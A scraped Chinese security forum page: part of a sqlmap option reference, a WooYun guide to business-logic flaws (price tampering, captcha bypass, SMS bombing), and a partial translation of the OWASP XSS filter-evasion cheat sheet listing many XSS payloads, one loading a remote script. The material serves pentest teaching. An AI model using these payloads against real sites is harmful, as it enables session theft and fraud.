–sql-shell 提示交互式SQL的shell



Optimization(优化):

这些选项可用于优化SqlMap的性能。


-o 开启所有优化开关
–predict-output 预测常见的查询输出
–keep-alive 使用持久的HTTP(S)连接
–null-connection 从没有实际的HTTP响应体中检索页面长度
–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)



Injection(注入):

这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。


-p TESTPARAMETER 可测试的参数(S)
–dbms=DBMS 强制后端的DBMS为此值
–os=OS 强制后端的DBMS操作系统为这个值
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据



Detection(检测):

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。


–level=LEVEL 执行测试的等级(1-5,默认为1)
–risk=RISK 执行测试的风险(0-3,默认为1)
–string=STRING 查询时有效时在页面匹配字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–text-only 仅基于在文本内容比较网页



Techniques(技巧):

这些选项可用于调整具体的SQL注入测试。


–technique=TECH SQL注入技术测试(默认BEUST)
–time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
–union-cols=UCOLS 定列范围用于测试UNION查询注入
–union-char=UCHAR 用于暴力猜解列数的字符



Fingerprint(指纹):


-f, –fingerprint 执行检查广泛的DBMS版本指纹



Brute force(蛮力):

这些选项可以被用来运行蛮力检查。


–common-tables 检查存在共同表
–common-columns 检查存在共同列



User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。


–udf-inject 注入用户自定义函数
–shared-lib=SHLIB 共享库的本地路径



File system access(访问文件系统):

这些选项可以被用来访问后端数据库管理系统的底层文件系统。


–file-read=RFILE 从后端的数据库管理系统文件系统读取文件
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径



Operating system access(操作系统访问):

这些选项可以用于访问后端数据库管理系统的底层操作系统。


–os-cmd=OSCMD 执行操作系统命令
–os-shell 交互式的操作系统的shell
–os-pwn 获取一个OOB shell,meterpreter或VNC
–os-smbrelay 一键获取一个OOB shell,meterpreter或VNC
–os-bof 存储过程缓冲区溢出利用
–priv-esc 数据库进程用户权限提升
–msf-path=MSFPATH Metasploit Framework本地的安装路径
–tmp-path=TMPPATH 远程临时文件目录的绝对路径



Windows注册表访问:

这些选项可以被用来访问后端数据库管理系统Windows注册表。


–reg-read 读一个Windows注册表项值
–reg-add 写一个Windows注册表项值数据
–reg-del 删除Windows注册表键值
–reg-key=REGKEY Windows注册表键
–reg-value=REGVAL Windows注册表项值
–reg-data=REGDATA Windows注册表键值数据
–reg-type=REGTYPE Windows注册表项值类型



这些选项可以用来设置一些一般的工作参数。


-t TRAFFICFILE 记录所有HTTP流量到一个文本文件中
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
–flush-session 刷新当前目标的会话文件
–fresh-queries 忽略在会话文件中存储的查询结果
–eta 显示每个输出的预计到达时间
–update 更新SqlMap
–save file保存选项到INI配置文件



–batch 从不询问用户输入,使用所有默认配置。



Miscellaneous(杂项):



–beep 发现SQL注入时提醒
–check-payload IDS对注入payloads的检测测试
–cleanup SqlMap具体的UDF和表清理DBMS
–forms 对目标URL的解析和测试形式
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork结果
–page-rank Google dork结果显示网页排名(PR)
–parse-errors 从响应页面解析数据库管理系统的错误消息
–replicate 复制转储的数据到一个sqlite3数据库
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
–wizard 给初级用户的简单向导界面


 
 
本文作者:Sofia @ 邮箱 , 个人主页
版权声明:除非本文有注明出处,否则转载请注明本文来自 http://www.vuln.cn
本文地址:http://www.vuln.cn/?p=1992

业务安全漏洞挖掘归纳总结

Web安全渗透admin 发表了文章 • 8 个评论 • 988 次浏览 • 2016-11-04 15:05 • 来自相关话题

文章出处:乌云drops文章
摘要: 0x00 索引说明 6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。

0x00 索引说明
6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。











0x01 身份认证安全
[]暴力破解 [/]在没有验证码限制或者一次验证码可以多次使用的地方,使用已知用户对密码进行暴力破解或者用一个通用密码对用户进行暴力破解。 简单的验证码爆破。URL: http://zone.wooyun.org/content/20839 一些工具及脚本BurpsuitehtpwdScan 撞库爆破必备 URL: https://github.com/lijiejie/htpwdScanhydra 源码安装xhydra支持更多的协议去爆破 (可破WEB,其他协议不属于业务安全的范畴) []session & cookie类[/]会话固定攻击:利用服务器的session不变机制,借他人之手获得认证和授权,冒充他人。案例:WooYun: 新浪广东美食后台验证逻辑漏洞,直接登录后台,566764名用户资料暴露!Cookie仿冒:修改cookie中的某个参数可以登录其他用户。 案例:益云广告平台任意帐号登录WooYun: 益云广告平台任意帐号登录[]弱加密[/]未使用https,是功能测试点,不好利用。前端加密,用密文去后台校验,并利用smart decode可解0x02 业务一致性安全[]手机号篡改[/]a) 抓包修改手机号码参数为其他号码尝试,例如在办理查询页面,输入自己的号码然后抓包,修改手机号码参数为其他人号码,查看是否能查询其他人的业务。[]邮箱或者用户篡改[/]a) 抓包修改用户或者邮箱参数为其他用户或者邮箱b) 案例: WooYun: 绿盟RSAS安全系统全版本通杀权限管理员绕过漏洞,包括最新 RSAS V5.0.13.2[]订单id篡改[/]a) 查看自己的订单id,然后修改id(加减一)查看是否能查看其它订单信息。b) 案例: WooYun: 广之旅旅行社任意访问用户订单[]商品编号篡改[/]a) 例如积分兑换处,100个积分只能换商品编号为001,1000个积分只能换商品编号005,在100积分换商品的时候抓包把换商品的编号修改为005,用低积分换区高积分商品。b) 案例:联想某积分商城支付漏洞再绕过 WooYun: 联想某积分商城支付漏洞再绕过[]用户id篡改[/]a) 抓包查看自己的用户id,然后修改id(加减1)查看是否能查看其它用户id信息。b) 案例: WooYun: 拉勾网百万简历泄漏风险(包括手机、邮件、应聘职位等信息、还可冒充企业身份筛选简历、发面试通知等) 0x03 业务数据篡改[]金额数据篡改[/]a) 抓包修改金额等字段,例如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额并提交,查看能否以修改后的金额数据完成业务流程。b) 案例: WooYun: 12308订单支付时的总价未验证漏洞(支付逻辑漏洞)[]商品数量篡改[/]a) 抓包修改商品数量等字段,将请求中的商品数量修改成任意数额,如负数并提交,查看能否以修改后的数量完成业务流程。b) 案例: WooYun: 蔚蓝团支付逻辑漏洞(可负数支付)[]最大数限制突破[/]a) 很多商品限制用户购买数量时,服务器仅在页面通过js脚本限制,未在服务器端校验用户提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值,查看能否以修改后的数量完成业务流程。[]本地js参数修改[/]a) 部分应用程序通过Javascript处理用户提交的请求,通过修改Javascript脚本,测试修改后的数据是否影响到用户。0x04 用户输入合规性[]注入测试 请参考http://wiki.wooyun.org/web:sql[/][]XSS测试 请参考http://wiki.wooyun.org/web:xss[/][]Fuzz[/]a) 功能测试用的多一些,有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失。(当然fuzz不单单这点用途。)b) 不太符合的案例,但思路可借鉴: WooYun: 建站之星模糊测试实战之任意文件上传漏洞c) 可能会用的工具 —— spike[]其他用用户输入交互的应用漏洞[/]0x05 密码找回漏洞[]大力推荐BMa的《密码找回逻辑漏洞总结》 http://drops.wooyun.org/web/5048[/][]密码找回逻辑测试一般流程[/]i. 首先尝试正常密码找回流程,选择不同找回方式,记录所有数据包ii. 分析数据包,找到敏感部分iii. 分析后台找回机制所采用的验证手段iv. 修改数据包验证推测[]脑图 (详情请参考BMa的《密码找回逻辑漏洞总结》)[/]0x06 验证码突破验证码不单单在登录、找密码应用,提交敏感数据的地方也有类似应用,故单独分类,并进一步详情说明。[]验证码暴力破解测试[/]a) 使用burp对特定的验证码进行暴力破解b) 案例: WooYun: 盟友88电商平台任意用户注册与任意用户密码重置漏洞打包[]验证码时间、次数测试[/]a) 抓取携带验证码的数据包不断重复提交,例如:在投诉建议处输入要投诉的内容信息,及验证码参数,此时抓包重复提交数据包,查看历史投诉中是否存在重复提交的参数信息。[]验证码客户端回显测试[/]a 当客户端有需要和服务器进行交互,发送验证码时,即可使用firefox按F12调出firebug就可看到客户端与服务器进行交互的详细信息[]验证码绕过测试[/]a) 当第一步向第二步跳转时,抓取数据包,对验证码进行篡改清空测试,验证该步骤验证码是否可以绕过。b) 案例: WooYun: 中国电信某IDC机房信息安全管理系统设计缺陷致使系统沦陷[]验证码js绕过[/]a) 短信验证码验证程序逻辑存在缺陷,业务流程的第一步、第二部、第三步都是放在同一个页面里,验证第一步验证码是通过js来判断的,可以修改验证码在没有获取验证码的情况下可以填写实名信息,并且提交成功。0x07 业务授权安全[]未授权访问[/]a) 非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后,将相关的页面链接复制于其他浏览器或其他电脑上进行访问,看是否能访问成功。[]越权访问[/]越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定[]a) 垂直越权(垂直越权是指使用权限低的用户可以访问权限较高的用户)[/][]b) 水平越权(水平越权是指相同权限的不同用户可以互相访问)(wooyun-2010-0100991 PHPEMS多处存在水平权限问题)[/][]c) 《我的越权之道》URL:http://drops.wooyun.org/tips/727 0x08 业务流程乱序[/]0x08 业务流程乱序[]顺序执行缺陷[/]a) 部分网站逻辑可能是先A过程后B过程然后C过程最后D过程b) 用户控制着他们给应用程序发送的每一个请求,因此能够按照任何顺序进行访问。于是,用户就从B直接进入了D过程,就绕过了C。如果C是支付过程,那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程,就会绕过验证直接进入网站程序了。c) 案例:WooYun: 万达某分站逻辑错误可绕过支付直接获得取票密码http://wooyun.org/bugs/wooyun-2010-01081840x09 业务接口调用安全[]重放攻击[/]在短信、邮件调用业务或生成业务数据环节中(类:短信验证码,邮件验证码,订单生成,评论提交等),对其业务环节进行调用(重放)测试。如果业务经过调用(重放)后被多次生成有效的业务或数据结果[]a) 恶意注册[/][]b) 短信炸111弹[/]在测试的过程中,我们发现众多的金融交易平台仅在前端通过JS校验时间来控制短信发送按钮,但后台并未对发送做任何限制,导致可通过重放包的方式大量发送恶意短信案例: WooYun: 一亩田交易网逻辑漏洞(木桶原理)[]内容编辑[/]似案例如下:点击“获取短信验证码”,并抓取数据包内容,如下图。通过分析数据包,可以发现参数sendData/insrotxt的内容有客户端控制,可以修改为攻击者想要发送的内容


将内容修改“恭喜你获得由xx银行所提供的iphone6一部,请登录http://www.xxx.com领取,验证码为236694”并发送该数据包,手机可收到修改后的短信内容,如下图:


0x10 时效绕过测试大多有利用的案例发生在验证码以及业务数据的时效范围上,在之前的总结也有人将12306的作为典型,故,单独分类。[]时间刷新缺陷[/]12306网站的买票业务是每隔5s,票会刷新一次。但是这个时间确实在本地设置的间隔。于是,在控制台就可以将这个时间的关联变量重新设置成1s或者更小,这样刷新的时间就会大幅度缩短(主要更改autoSearchTime本地参数)。 案例:WooYun: 12306自动刷票时间可更改漏洞[]时间范围测试[/]

针对某些带有时间限制的业务,修改其时间限制范围,例如在某项时间限制范围内查询的业务,修改含有时间明文字段的请求并提交,查看能否绕过时间限制完成业务流程。例如通过更改查询手机网厅的受理记录的month范围,可以突破默认只能查询六个月的记录。
 

0x11 参考
@eversec
应用程序逻辑错误总结 http://drops.wooyun.org/papers/1418
密码找回功能可能存在的问题 http://drops.wooyun.org/papers/287
密码找回功能可能存在的问题(补充) http://drops.wooyun.org/web/3295
密码找回逻辑漏洞总结 http://drops.wooyun.org/web/5048
支付漏洞的三种常见类型——加固方案 http://zone.wooyun.org/content/878
在线支付逻辑漏洞总结 http://drops.wooyun.org/papers/345
金融行业平台常见安全漏洞与防御 http://www.freebuf.com/news/special/61082.html
我的越权之道 http://drops.wooyun.org/tips/727
  查看全部
文章出处:乌云drops文章
摘要: 0x00 索引说明 6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。

0x00 索引说明
6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。


Image.png

Image1.png



0x01 身份认证安全
    []暴力破解 [/]

在没有验证码限制或者一次验证码可以多次使用的地方,使用已知用户对密码进行暴力破解或者用一个通用密码对用户进行暴力破解。 简单的验证码爆破。URL: http://zone.wooyun.org/content/20839 一些工具及脚本BurpsuitehtpwdScan 撞库爆破必备 URL: https://github.com/lijiejie/htpwdScanhydra 源码安装xhydra支持更多的协议去爆破 (可破WEB,其他协议不属于业务安全的范畴)

 
    []session & cookie类[/]

会话固定攻击:利用服务器的session不变机制,借他人之手获得认证和授权,冒充他人。案例:WooYun: 新浪广东美食后台验证逻辑漏洞,直接登录后台,566764名用户资料暴露!Cookie仿冒:修改cookie中的某个参数可以登录其他用户。 案例:益云广告平台任意帐号登录WooYun: 益云广告平台任意帐号登录

    []弱加密[/]

未使用https,是功能测试点,不好利用。前端加密,用密文去后台校验,并利用smart decode可解

0x02 业务一致性安全
    []手机号篡改[/]

a) 抓包修改手机号码参数为其他号码尝试,例如在办理查询页面,输入自己的号码然后抓包,修改手机号码参数为其他人号码,查看是否能查询其他人的业务。

    []邮箱或者用户篡改[/]

a) 抓包修改用户或者邮箱参数为其他用户或者邮箱b) 案例: WooYun: 绿盟RSAS安全系统全版本通杀权限管理员绕过漏洞,包括最新 RSAS V5.0.13.2

    []订单id篡改[/]

a) 查看自己的订单id,然后修改id(加减一)查看是否能查看其它订单信息。b) 案例: WooYun: 广之旅旅行社任意访问用户订单

    []商品编号篡改[/]

a) 例如积分兑换处,100个积分只能换商品编号为001,1000个积分只能换商品编号005,在100积分换商品的时候抓包把换商品的编号修改为005,用低积分换区高积分商品。b) 案例:联想某积分商城支付漏洞再绕过 WooYun: 联想某积分商城支付漏洞再绕过

    []用户id篡改[/]

a) 抓包查看自己的用户id,然后修改id(加减1)查看是否能查看其它用户id信息。b) 案例: WooYun: 拉勾网百万简历泄漏风险(包括手机、邮件、应聘职位等信息、还可冒充企业身份筛选简历、发面试通知等) 

0x03 业务数据篡改
    []金额数据篡改[/]

a) 抓包修改金额等字段,例如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额并提交,查看能否以修改后的金额数据完成业务流程。b) 案例: WooYun: 12308订单支付时的总价未验证漏洞(支付逻辑漏洞)

    []商品数量篡改[/]

a) 抓包修改商品数量等字段,将请求中的商品数量修改成任意数额,如负数并提交,查看能否以修改后的数量完成业务流程。b) 案例: WooYun: 蔚蓝团支付逻辑漏洞(可负数支付)

    []最大数限制突破[/]

a) 很多商品限制用户购买数量时,服务器仅在页面通过js脚本限制,未在服务器端校验用户提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值,查看能否以修改后的数量完成业务流程。

    []本地js参数修改[/]

a) 部分应用程序通过Javascript处理用户提交的请求,通过修改Javascript脚本,测试修改后的数据是否影响到用户。

0x04 用户输入合规性
    []注入测试 请参考http://wiki.wooyun.org/web:sql[/][]XSS测试 请参考http://wiki.wooyun.org/web:xss[/][]Fuzz[/]

a) 功能测试用的多一些,有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失。(当然fuzz不单单这点用途。)b) 不太符合的案例,但思路可借鉴: WooYun: 建站之星模糊测试实战之任意文件上传漏洞c) 可能会用的工具 —— spike

    []其他用用户输入交互的应用漏洞[/]
0x05 密码找回漏洞
    []大力推荐BMa的《密码找回逻辑漏洞总结》 http://drops.wooyun.org/web/5048[/][]密码找回逻辑测试一般流程[/]

i. 首先尝试正常密码找回流程,选择不同找回方式,记录所有数据包ii. 分析数据包,找到敏感部分iii. 分析后台找回机制所采用的验证手段iv. 修改数据包验证推测

    []脑图 (详情请参考BMa的《密码找回逻辑漏洞总结》)[/]
0x06 验证码突破验证码不单单在登录、找密码应用,提交敏感数据的地方也有类似应用,故单独分类,并进一步详情说明。
    []验证码暴力破解测试[/]

a) 使用burp对特定的验证码进行暴力破解b) 案例: WooYun: 盟友88电商平台任意用户注册与任意用户密码重置漏洞打包

    []验证码时间、次数测试[/]

a) 抓取携带验证码的数据包不断重复提交,例如:在投诉建议处输入要投诉的内容信息,及验证码参数,此时抓包重复提交数据包,查看历史投诉中是否存在重复提交的参数信息。

    []验证码客户端回显测试[/]

a 当客户端有需要和服务器进行交互,发送验证码时,即可使用firefox按F12调出firebug就可看到客户端与服务器进行交互的详细信息

    []验证码绕过测试[/]

a) 当第一步向第二步跳转时,抓取数据包,对验证码进行篡改清空测试,验证该步骤验证码是否可以绕过。b) 案例: WooYun: 中国电信某IDC机房信息安全管理系统设计缺陷致使系统沦陷

    []验证码js绕过[/]

a) 短信验证码验证程序逻辑存在缺陷,业务流程的第一步、第二部、第三步都是放在同一个页面里,验证第一步验证码是通过js来判断的,可以修改验证码在没有获取验证码的情况下可以填写实名信息,并且提交成功。

0x07 业务授权安全
    []未授权访问[/]

a) 非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后,将相关的页面链接复制于其他浏览器或其他电脑上进行访问,看是否能访问成功。

    []越权访问[/]

越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定

    []a) 垂直越权(垂直越权是指使用权限低的用户可以访问权限较高的用户)[/][]b) 水平越权(水平越权是指相同权限的不同用户可以互相访问)(wooyun-2010-0100991 PHPEMS多处存在水平权限问题)[/][]c) 《我的越权之道》URL:http://drops.wooyun.org/tips/727 0x08 业务流程乱序[/]

0x08 业务流程乱序
    []顺序执行缺陷[/]

a) 部分网站逻辑可能是先A过程后B过程然后C过程最后D过程b) 用户控制着他们给应用程序发送的每一个请求,因此能够按照任何顺序进行访问。于是,用户就从B直接进入了D过程,就绕过了C。如果C是支付过程,那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程,就会绕过验证直接进入网站程序了。c) 案例:WooYun: 万达某分站逻辑错误可绕过支付直接获得取票密码http://wooyun.org/bugs/wooyun-2010-0108184

0x09 业务接口调用安全
    []重放攻击[/]

在短信、邮件调用业务或生成业务数据环节中(类:短信验证码,邮件验证码,订单生成,评论提交等),对其业务环节进行调用(重放)测试。如果业务经过调用(重放)后被多次生成有效的业务或数据结果

    []a) 恶意注册[/][]b) 短信炸111弹[/]
在测试的过程中,我们发现众多的金融交易平台仅在前端通过JS校验时间来控制短信发送按钮,但后台并未对发送做任何限制,导致可通过重放包的方式大量发送恶意短信案例: WooYun: 一亩田交易网逻辑漏洞(木桶原理)

    []内容编辑[/]

似案例如下:点击“获取短信验证码”,并抓取数据包内容,如下图。通过分析数据包,可以发现参数sendData/insrotxt的内容有客户端控制,可以修改为攻击者想要发送的内容

Image3.png
将内容修改“恭喜你获得由xx银行所提供的iphone6一部,请登录http://www.xxx.com领取,验证码为236694”并发送该数据包,手机可收到修改后的短信内容,如下图:
Image4.png

0x10 时效绕过测试大多有利用的案例发生在验证码以及业务数据的时效范围上,在之前的总结也有人将12306的作为典型,故,单独分类。
    []时间刷新缺陷[/]

12306网站的买票业务是每隔5s,票会刷新一次。但是这个时间确实在本地设置的间隔。于是,在控制台就可以将这个时间的关联变量重新设置成1s或者更小,这样刷新的时间就会大幅度缩短(主要更改autoSearchTime本地参数)。 案例:WooYun: 12306自动刷票时间可更改漏洞

    []时间范围测试[/]


针对某些带有时间限制的业务,修改其时间限制范围,例如在某项时间限制范围内查询的业务,修改含有时间明文字段的请求并提交,查看能否绕过时间限制完成业务流程。例如通过更改查询手机网厅的受理记录的month范围,可以突破默认只能查询六个月的记录。
 


0x11 参考
@eversec
应用程序逻辑错误总结 http://drops.wooyun.org/papers/1418
密码找回功能可能存在的问题 http://drops.wooyun.org/papers/287
密码找回功能可能存在的问题(补充) http://drops.wooyun.org/web/3295
密码找回逻辑漏洞总结 http://drops.wooyun.org/web/5048
支付漏洞的三种常见类型——加固方案 http://zone.wooyun.org/content/878
在线支付逻辑漏洞总结 http://drops.wooyun.org/papers/345
金融行业平台常见安全漏洞与防御 http://www.freebuf.com/news/special/61082.html
我的越权之道 http://drops.wooyun.org/tips/727
 

关于昨晚的钓鱼测试。

Web安全渗透akiss123 回复了问题 • 11 人关注 • 8 个回复 • 946 次浏览 • 2016-10-26 22:24 • 来自相关话题

XSS Filter Evasion Cheat Sheet 中文版

Web安全渗透Mosuan 发表了文章 • 12 个评论 • 701 次浏览 • 2016-09-26 00:07 • 来自相关话题

原文地址:http://drops.wooyun.org/tips/1955在我另一个大表哥的博客看到的,貌似他不想别人知道他的博客,我就不放出他的博客了。@redfree

译者注:翻译本文的最初原因是当我自己看到这篇文章后,觉得它是非常有价值。但是这么著名的一个备忘录却一直没有人把它翻译成中文版。很多人仅仅是简单的把文中的
各种代码复制下来,然后看起来很刁的发在各种论坛上,不过你要真去认真研读这些代码,就会完全不知所云了。原因是这篇文章最精华的部分是代码的解释而非代
码本身。
一方面为了自己学习,一方面也想让更多国内的xss爱好者去更方便的阅读本文。所以虽然我本身英语很烂,xss技术也很烂,但还是去翻译了这篇文
章。当然这也导致最后翻译出来的文章晦涩难懂、不知所云。这个真心向大家说声抱歉啊,也希望大家能及时帮忙提出文中的翻译错误或其他错误。
另外,在翻译过程中,我发现XSS Filter Evasion Cheat
Sheet原版本身也存在一些技术上的或是描述上的错误。不过虽然我知道原文中某些地方可能出错,但是我也不知道正确的应该是什么样的,还有就是或许原文
本身是对的,但是我理解错了。种种原因吧,最后基本上都按原文在翻译,有些觉得可能存在错误的地方或是我理解不了的地方,我就没有翻译,继续使用英文。希
望大家可以帮忙给出翻译或是解释。
如果大家有能力阅读英文的话,尽量阅读原文,即使要看这个翻译版,也配合英文版一起看。不要让我的翻译错误误人子弟啊。最后希望大家可以和我一起解决翻译中的各种错误,把这个中文版维护好。
谢谢
源文档地址:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
翻译文档在线阅读:https://www.zybuluo.com/laodao/note/9592
介绍
这篇文章的主要目的是去给应用安全测试者提供一份xss漏洞检测指南。文章的初始内容由RSnake提供给OWASP,从他的xss备忘录:
http://ha.ckers.org/xss.html
。目前这个网页已经重定向到我们这里,我们打算维护和完善它。OWASP的第一个防御备忘录项目:the XSS (Cross Site
Scripting) Prevention Cheat Sheet灵感来源于RSnake的 XSS Cheat
Sheet,所以我们对他给予我们的启发表示感谢。我们想要去创建短小简单的参考给开发者去帮助他们预防xss漏洞,而不是创建一个复杂的备忘录去简单的
告诉他们需要去预防各种千奇百怪的攻击。所以,OWASP备忘录系列诞生了。

测试这个备忘录主要针对那些已经理解了最基本的xss攻击,但是想要深入理解各种过滤器绕过的细微差别的学习者。
请注意大部分的xss攻击向量已经在其代码下方给出了测试过的浏览器列表。

xss 探测器注入下面这些代码,在大多数没有特殊xss向量要求而已遭受脚本攻击的地方将会弹出单词“xss”。使用url编码器去编码你的整个代码。小技巧:如果你是急切的需要快去检测一个页面,通常只需要注入轻量的 "<任意字符>" 标签,然后判断输出点是否受到干扰就可以判断是否xss漏洞了。

';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--
[quote]</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

xss 探测器2如果你没有充足的输入空间去检测页面是否存在xss漏洞。下面这段代码是一个好的简洁的xss注入检测代码。在注入这段代码后,查看页面源代码寻找是否存在看起来像 <XSS verses <XSS这样的输入点从而判断是否存在xss漏洞。[/quote]

'';!--"<XSS>=&{()}

无过滤绕过这是一个常规的xss注入代码,虽然通常它会被防御,但是我们建议首先去尝试它。(引号是不被需要的在任何现代浏览器中,因此这里省略了它。)
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

通过javascript指令实现的图片xss图片xss依靠javascript指令实现。(IE7.0不支持javascript指令在图片上下文中,但是可以在其他上下文触发。下面的例子仅仅展示了一种其他标签依旧通用的原理。)
<IMG SRC="javascript:alert('XSS');">

无引号无分号<IMG SRC=javascript:alert('XSS')>

不区分大小写的xss攻击向量<IMG SRC=JaVaScRiPt:alert('XSS')>

html 实体The semicolons are required for this to work:
<IMG SRC=javascript:alert("XSS")>

重音符混淆如果你的javascript代码中需要同时使用单引号和双引号,那么可以使用重音符(`)来包裹javascript代码。它也经常会非常有用因为xss过滤代码未考虑到这个字符。

<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

畸形的A标签跳过href属性,而直接获取xss实质攻击代码…提出被David Cross ~ 已验证在chrome浏览器

<a onmouseover="alert(document.cookie)">xxs link</a>
此外,chrome浏览器喜欢去不全确实的引号为你。如果你遇到阻碍那么直接省略它们吧,chrome将会正确的帮你不全缺失的引号在URL和script中。

<a onmouseover=alert(document.cookie)>xxs link</a>

畸形的IMG标签最早被 Begeek发现(可以短小而干净的运行于任何浏览器),这个xss向量依靠松散的渲染引擎解析IMG标签中被引号包含的字符串来实现。我猜测它最初是为了正确编码而造成的。这将使它更加困难的去解释HTML标签。

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

fromCharCode如果没有任何形式的引号被允许,你可以eval()一串fromCharCode在javascript来创建任何你需要的xss向量。

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

默认SRC属性去绕过SRC域名检测过滤器
这将绕过绝大多数SRC域名过滤器。插入javascript代码在任何一个事件方法同样适用于热河一个HTML标签,例如Form、
Iframe、Input、Embed等等。他将也允许任何任何该标签的相关事件去替换,例如onblur,
onclick等,后面我们会附加一个可用的事件列表。由David Cross提供,Abdullah Hussam编辑。

<IMG SRC=# onmouseover="alert('xxs')">

默认SRC属性通过省略它的值<IMG SRC= onmouseover="alert('xxs')">


默认SRC属性通过完全不设置它<IMG onmouseover="alert('xxs')">


通过error事件触发alert<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>


十进制html编码引用所有在使用javascript指令的xss示例将无法工作在 Firefox 或 Netscape 8.1+,因为它们使用了 Gecko 渲染引擎。使用 XSS Calculator 获取更多信息。

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>


结尾没有分号的十进制html编码引用他是经常有用的在绕过寻找"&#XX;"格式的xss过滤,因为大多数人不知道最多允许7位字符的编码限制。这也是有用的对那些对字符串解码像$tmp_string =~ s/.\&#(\d+);./$1/; ,错误的认为一个html编码需要用;去结束。(我是无意中发现)

<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
结尾没有分号的十六进制html编码引用
这也是一种实用的xss攻击针对上文的$tmp_string =~ s/.\&#(\d+);./$1/; ,错误的认为数字编码跟随在#后面(十六进制htnl编码并非如此),。使用 XSS Calculator 获取更多信息。

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>


内嵌TAB用来分开xss攻击代码
<IMG SRC="jav ascript:alert('XSS');">



内嵌被编码的TAB用来分开xss攻击代码
<IMG SRC="jav&#x09;ascript:alert('XSS');">


内嵌换行符去分开xss代码一些网站声称09-13编码的所有字符(十进制)都可以实现这种形式的攻击。这是不正确的。只有09(tab), 10 (换行) 和 13 (回车)可以使用。查看ascii表为更详细的信息。下面四个xss例子展示了这个向量。
<IMG SRC="jav&#x0A;ascript:alert('XSS');">



编码回车符去分开xss代码注意:上面我编写的三个xss字符串比必须的字符串更长,原因是0可以被省略。通常我看到的过滤器假设十六进制和十进制的编码是两到三个字符。正确的应该是一到七个字符。

<IMG SRC="jav&#x0D;ascript:alert('XSS');">


没有分割的javascript指令null字符也可以作为一个xss向量,但是不像上边那样。你需要直接注入它们利用一些工具例如Burp Proxy,或是使用
在你的url字符串里。或者如果你想写你自己的注入工具你可以使用vim(^V^@
会生成null),以及用下面的程序去生成它到一个文本文件中。好吧,我再一次撒谎了。 Opera的老版本(大约 7.11 on
Windows)是脆弱的对于一个额外的字符173(软连字符)。但是null字符
是更加的有用或者帮助我们绕过某些真实存在的过滤器用过变动像这个例子中的。

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out


图片元素中javascript之前的空格和元字符为xssxss过滤拼配模式没有考虑单词"javascript:"中可能存在空格是正确的,因为否则将无法渲染。但是这也导致了错误的假设认为你不可以有一个空格在引号和 "javascript:" 单词之间。事实上你可以插入 1-32编码字符(十进制)中的任何字符。

<IMG SRC=" &#14; javascript:alert('XSS');">


非字母数字字符xssFirefox html解析器设定一个非数字字母字符不是有效的在一个html关键字后面,因此这些字符会被视为空白符或是无效的token在html标签之后。这导致很多xss过滤器错误的认为html标签必须是被空白符隔断的。例如,"<SCRIPT\s" != "<SCRIPT/XSS\s":

<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
和上面的原理相同,我们继续扩大,Gecko渲染引擎允许字母、数字、html封装字符以外的任何字符位于事件处理器与等号之间。从而借此绕过xss过滤器。注意这也是适用于重音符如下所示:

<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
Yair Amit 提示我有一个小区别在 ie和Gecko 渲染引擎之间是他们仅允许一个一个斜杠在html标签和参数之间,在不使用空格的情况下。这可能是有用的在那些不允许输入空格的系统中。
